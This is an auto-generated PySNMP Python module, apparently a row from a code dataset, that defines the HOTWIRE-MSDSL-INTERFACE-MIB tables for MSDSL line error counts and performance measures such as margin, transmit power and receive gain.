content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
# # PySNMP MIB module HOTWIRE-MSDSL-INTERFACE-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HOTWIRE-MSDSL-INTERFACE-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 19:20:19 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsIntersection, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsIntersection", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint") ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex") pdnmsdsl, = mibBuilder.importSymbols("PDN-HEADER-MIB", "pdnmsdsl") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") Gauge32, IpAddress, ObjectIdentity, NotificationType, NotificationType, Integer32, TimeTicks, iso, enterprises, Bits, Unsigned32, MibIdentifier, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, ModuleIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "Gauge32", "IpAddress", "ObjectIdentity", "NotificationType", "NotificationType", "Integer32", "TimeTicks", "iso", "enterprises", "Bits", "Unsigned32", "MibIdentifier", "Counter32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "ModuleIdentity") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") msdslDevice = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1)) msdslCurrent = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1)) msdslInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2)) msdslWorstInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3)) msdslTotal = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4)) msdslFarEndCurrent = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5)) msdslFarEndInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6)) msdslFarEndWorstInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7)) msdslFarEndTotal = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8)) msdslCurrentPerf = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9)) msdslIntervalPerf = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10)) msdslFarEndCurrentPerf = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11)) msdslFarEndIntervalPerf = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12)) msdsldsx1WorstInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13)) msdslG703WorstInterval = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14)) msdslConfiguration = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15)) msdslCurrentTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1), ) if mibBuilder.loadTexts: msdslCurrentTable.setStatus('mandatory') msdslCurrentEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslCurrentIfIndex")) if mibBuilder.loadTexts: msdslCurrentEntry.setStatus('mandatory') msdslCurrentIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentIfIndex.setStatus('mandatory') msdslCurrentESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentESs.setStatus('mandatory') msdslCurrentSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentSESs.setStatus('mandatory') msdslCurrentFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentFEBEs.setStatus('mandatory') msdslErrEventsCounter = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslErrEventsCounter.setStatus('mandatory') msdslErrTimeElapsed = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 899))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslErrTimeElapsed.setStatus('mandatory') msdslErrValidIntervals = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslErrValidIntervals.setStatus('mandatory') msdslIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2), ) if mibBuilder.loadTexts: msdslIntervalTable.setStatus('mandatory') msdslIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslIntervalIfIndex"), (0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslIntervalNumber")) if mibBuilder.loadTexts: msdslIntervalEntry.setStatus('mandatory') msdslIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalIfIndex.setStatus('mandatory') msdslIntervalNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalNumber.setStatus('mandatory') msdslIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalESs.setStatus('mandatory') msdslIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalSESs.setStatus('mandatory') msdslIntervalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 5), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalFEBEs.setStatus('mandatory') msdslWorstIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3), ) if mibBuilder.loadTexts: msdslWorstIntervalTable.setStatus('mandatory') msdslWorstIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslWorstIntervalIfIndex")) if mibBuilder.loadTexts: msdslWorstIntervalEntry.setStatus('mandatory') msdslWorstIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslWorstIntervalIfIndex.setStatus('mandatory') msdslWorstIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslWorstIntervalESs.setStatus('mandatory') msdslWorstIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslWorstIntervalSESs.setStatus('mandatory') msdslWorstIntervalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslWorstIntervalFEBEs.setStatus('mandatory') msdslTotalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4), ) if mibBuilder.loadTexts: msdslTotalTable.setStatus('mandatory') msdslTotalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslTotalIfIndex")) if mibBuilder.loadTexts: msdslTotalEntry.setStatus('mandatory') msdslTotalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslTotalIfIndex.setStatus('mandatory') msdslTotalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslTotalESs.setStatus('mandatory') msdslTotalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslTotalSESs.setStatus('mandatory') msdslTotalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslTotalFEBEs.setStatus('mandatory') msdslFarEndCurrentTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5), ) if mibBuilder.loadTexts: msdslFarEndCurrentTable.setStatus('mandatory') msdslFarEndCurrentEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndCurrentIfIndex")) if mibBuilder.loadTexts: msdslFarEndCurrentEntry.setStatus('mandatory') msdslFarEndCurrentIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentIfIndex.setStatus('mandatory') msdslFarEndCurrentESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentESs.setStatus('mandatory') msdslFarEndCurrentSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentSESs.setStatus('mandatory') msdslFarEndCurrentFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentFEBEs.setStatus('mandatory') msdslFarEndIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6), ) if mibBuilder.loadTexts: msdslFarEndIntervalTable.setStatus('mandatory') msdslFarEndIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndIntervalIfIndex"), (0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndIntervalNumber")) if mibBuilder.loadTexts: msdslFarEndIntervalEntry.setStatus('mandatory') msdslFarEndIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalIfIndex.setStatus('mandatory') msdslFarEndIntervalNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalNumber.setStatus('mandatory') msdslFarEndIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalESs.setStatus('mandatory') msdslFarEndIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalSESs.setStatus('mandatory') msdslFarEndIntervalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 5), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalFEBEs.setStatus('mandatory') msdslFarEndWorstIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7), ) if mibBuilder.loadTexts: msdslFarEndWorstIntervalTable.setStatus('mandatory') msdslFarEndWorstIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndWorstIntervalIfIndex")) if mibBuilder.loadTexts: msdslFarEndWorstIntervalEntry.setStatus('mandatory') msdslFarEndWorstIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndWorstIntervalIfIndex.setStatus('mandatory') msdslFarEndWorstIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndWorstIntervalESs.setStatus('mandatory') msdslFarEndWorstIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndWorstIntervalSESs.setStatus('mandatory') msdslFarEndWorstIntervalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndWorstIntervalFEBEs.setStatus('mandatory') msdslFarEndTotalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8), ) if mibBuilder.loadTexts: msdslFarEndTotalTable.setStatus('mandatory') msdslFarEndTotalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslTotalIfIndex")) if mibBuilder.loadTexts: msdslFarEndTotalEntry.setStatus('mandatory') msdslFarEndTotalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndTotalIfIndex.setStatus('mandatory') msdslFarEndTotalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndTotalESs.setStatus('mandatory') msdslFarEndTotalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndTotalSESs.setStatus('mandatory') msdslFarEndTotalFEBEs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndTotalFEBEs.setStatus('mandatory') msdslCurrentPerfTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9), ) if mibBuilder.loadTexts: msdslCurrentPerfTable.setStatus('mandatory') msdslCurrentPerfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslCurrentPerfIfIndex")) if mibBuilder.loadTexts: msdslCurrentPerfEntry.setStatus('mandatory') msdslCurrentPerfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentPerfIfIndex.setStatus('mandatory') msdslCurrentPerfMargin = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentPerfMargin.setStatus('mandatory') msdslCurrentPerfTxPwr = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentPerfTxPwr.setStatus('mandatory') msdslCurrentPerfRxGain = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslCurrentPerfRxGain.setStatus('mandatory') msdslPerfPayloadRate = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 5), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslPerfPayloadRate.setStatus('mandatory') msdslTimeElapsed = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 899))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslTimeElapsed.setStatus('mandatory') msdslValidIntervals = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslValidIntervals.setStatus('mandatory') msdslIntervalPerfTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10), ) if mibBuilder.loadTexts: msdslIntervalPerfTable.setStatus('mandatory') msdslIntervalPerfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslIntervalPerfIfIndex"), (0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslIntervalPerfNumber")) if mibBuilder.loadTexts: msdslIntervalPerfEntry.setStatus('mandatory') msdslIntervalPerfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalPerfIfIndex.setStatus('mandatory') msdslIntervalPerfNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalPerfNumber.setStatus('mandatory') msdslIntervalPerfMargin = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalPerfMargin.setStatus('mandatory') msdslIntervalPerfTxPwr = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalPerfTxPwr.setStatus('mandatory') msdslIntervalPerfRxGain = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 5), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslIntervalPerfRxGain.setStatus('mandatory') msdslFarEndCurrentPerfTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11), ) if mibBuilder.loadTexts: msdslFarEndCurrentPerfTable.setStatus('mandatory') msdslFarEndCurrentPerfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndCurrentPerfIfIndex")) if mibBuilder.loadTexts: msdslFarEndCurrentPerfEntry.setStatus('mandatory') msdslFarEndCurrentPerfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentPerfIfIndex.setStatus('mandatory') msdslFarEndCurrentPerfMargin = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentPerfMargin.setStatus('mandatory') msdslFarEndCurrentPerfTxPwr = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentPerfTxPwr.setStatus('mandatory') msdslFarEndCurrentPerfRxGain = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndCurrentPerfRxGain.setStatus('mandatory') msdslFarEndIntervalPerfTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12), ) if mibBuilder.loadTexts: msdslFarEndIntervalPerfTable.setStatus('mandatory') msdslFarEndIntervalPerfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndIntervalPerfIfIndex"), (0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFarEndIntervalPerfNumber")) if mibBuilder.loadTexts: msdslFarEndIntervalPerfEntry.setStatus('mandatory') msdslFarEndIntervalPerfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalPerfIfIndex.setStatus('mandatory') msdslFarEndIntervalPerfNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 96))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalPerfNumber.setStatus('mandatory') msdslFarEndIntervalPerfMargin = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 3), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalPerfMargin.setStatus('mandatory') msdslFarEndIntervalPerfTxPwr = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalPerfTxPwr.setStatus('mandatory') msdslFarEndIntervalPerfRxGain = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 5), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFarEndIntervalPerfRxGain.setStatus('mandatory') msdsldsx1WorstIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13), ) if mibBuilder.loadTexts: msdsldsx1WorstIntervalTable.setStatus('mandatory') msdsldsx1WorstIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdsldsx1WorstIntervalIfIndex")) if mibBuilder.loadTexts: msdsldsx1WorstIntervalEntry.setStatus('mandatory') msdsldsx1WorstIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalIfIndex.setStatus('mandatory') msdsldsx1WorstIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalESs.setStatus('mandatory') msdsldsx1WorstIntervalUASs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalUASs.setStatus('mandatory') msdsldsx1WorstIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalSESs.setStatus('mandatory') msdsldsx1WorstIntervalBESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalBESs.setStatus('mandatory') msdsldsx1WorstIntervalCSSs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalCSSs.setStatus('mandatory') msdsldsx1WorstIntervalLOFC = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdsldsx1WorstIntervalLOFC.setStatus('mandatory') 